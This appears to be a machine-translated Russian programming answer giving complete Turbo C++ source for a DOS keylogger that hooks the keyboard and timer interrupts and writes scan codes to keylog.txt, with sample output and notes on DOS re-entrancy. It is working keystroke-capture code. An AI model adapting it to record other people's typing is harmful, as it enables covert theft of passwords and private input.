Вот как вы можете это сделать:
// Compile with Borland's Turbo C++ 1.01
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <dos.h>
const char ScanToChar[] =
"??1234567890-=??"
"QWERTYUIOP[]??AS"
"DFGHJKL;\"`?\\ZXCV"
"BNM,./??? ";
void interrupt (*pOldInt9)(void);
void interrupt (*pOldInt1C)(void);
char far* pInDosFlag;
#define SCAN_BUF_SIZE 1024
volatile unsigned char ScanBuf[SCAN_BUF_SIZE];
volatile unsigned ScanReadIdx = 0;
volatile unsigned ScanWriteIdx = 0;
volatile unsigned LogFileHandle;
void DosWriteFile(unsigned handle, void* data, size_t size);
volatile unsigned InDos0cnt = 0;
void TryToSaveLog(void)
{
unsigned cnt;
if (*pInDosFlag)
return;
cnt = (ScanWriteIdx - ScanReadIdx) & (SCAN_BUF_SIZE - 1);
InDos0cnt++;
while (cnt--)
{
static const char hex[] = "0123456789ABCDEF";
char s[80] = "0xXX \"?\"\r\n";
unsigned char scanCode = ScanBuf[ScanReadIdx];
s[2] = hex[scanCode >> 4];
s[3] = hex[scanCode & 0xF];
if ((scanCode & 0x7F) < strlen(ScanToChar))
{
s[6] = ScanToChar[scanCode & 0x7F];
}
DosWriteFile(LogFileHandle, s, strlen(s));
ScanReadIdx++;
ScanReadIdx &= SCAN_BUF_SIZE - 1;
}
}
void interrupt NewInt9(void)
{
unsigned char scanCode = inp(0x60);
ScanBuf[ScanWriteIdx++] = scanCode;
ScanWriteIdx &= SCAN_BUF_SIZE - 1;
pOldInt9();
}
volatile unsigned int1Ccnt = 0;
void interrupt NewInt1C(void)
{
int1Ccnt++;
pOldInt1C();
TryToSaveLog();
}
unsigned DosCreateFile(const char* name)
{
union REGS regs;
struct SREGS sregs;
regs.h.ah = 0x3C;
regs.x.cx = 0;
sregs.ds = FP_SEG(name);
regs.x.dx = FP_OFF(name);
intdosx(®s, ®s, &sregs);
return regs.x.cflag ? 0 : regs.x.ax;
}
void DosWriteFile(unsigned handle, void* data, size_t size)
{
union REGS regs;
struct SREGS sregs;
if (!size) return;
regs.h.ah = 0x40;
regs.x.bx = handle;
regs.x.cx = size;
sregs.ds = FP_SEG(data);
regs.x.dx = FP_OFF(data);
intdosx(®s, ®s, &sregs);
}
void DosCloseFile(unsigned handle)
{
union REGS regs;
struct SREGS sregs;
regs.h.ah = 0x3E;
regs.x.bx = handle;
intdosx(®s, ®s, &sregs);
}
void StartLog(const char* FileName)
{
union REGS regs;
struct SREGS sregs;
LogFileHandle = DosCreateFile(FileName);
regs.h.ah = 0x34; // get InDos flag address
intdosx(®s, ®s, &sregs);
pInDosFlag = MK_FP(sregs.es, regs.x.bx);
pOldInt1C = getvect(0x1C);
setvect(0x1C, &NewInt1C);
pOldInt9 = getvect(9);
setvect(9, &NewInt9);
}
void EndLog(void)
{
setvect(9, pOldInt9);
while (ScanWriteIdx != ScanReadIdx);
setvect(0x1C, pOldInt1C);
DosCloseFile(LogFileHandle);
LogFileHandle = 0;
}
int main(void)
{
char str[256];
StartLog("keylog.txt");
printf("please enter some text:\n");
gets(str);
printf("you have entered \"%s\"\n", str);
EndLog();
printf("int 1Ch count: %u\n", int1Ccnt);
printf("InDos=0 count: %u\n", InDos0cnt);
return 0;
}
Вывод (работает в Windows XP):
please enter some text:
qweasdzxc123
you have entered "qweasdzxc123"
int 1Ch count: 175
InDos=0 count: 1
KEYLOG.TXT:
0x10 "Q"
0x90 "Q"
0x11 "W"
0x91 "W"
0x12 "E"
0x92 "E"
0x1E "A"
0x9E "A"
0x1F "S"
0x9F "S"
0x20 "D"
0xA0 "D"
0x2C "Z"
0xAC "Z"
0x2D "X"
0xAD "X"
0x2E "C"
0xAE "C"
0x02 "1"
0x82 "1"
0x03 "2"
0x83 "2"
0x04 "3"
0x84 "3"
0x1C "?"
ТамЗдесь несколько проблем.Вы не можете использовать некоторые функции DOS, когда он занят.Вот почему я проверяю флаг InDos
.В то же время InDos может указывать, что DOS занят, даже когда он ожидает таких простых вещей, как ввод с клавиатуры (например, в gets()
).
Именно поэтому существует циклический буфер для кодов сканирования, который их накапливаетв то время как программа не может безопасно вызывать процедуры ввода / вывода файла DOS.EndLog()
ждет, пока буфер не будет слит.Возможно, вам также придется принудительно слить ранее.
Я также пытался подключить int 28h в качестве альтернативы int 1Ch, но мой ISR для int 28h никогда не вызывался, не знаю почему.
Я избегаю использования C * fopen()
и fwrite()
/ fprintf()
для файла журнала, чтобы не мешать основной программе, которая не знает, что происходит в фоновом режиме.По той же причине в ISR используются только самые тривиальные стандартные функции C.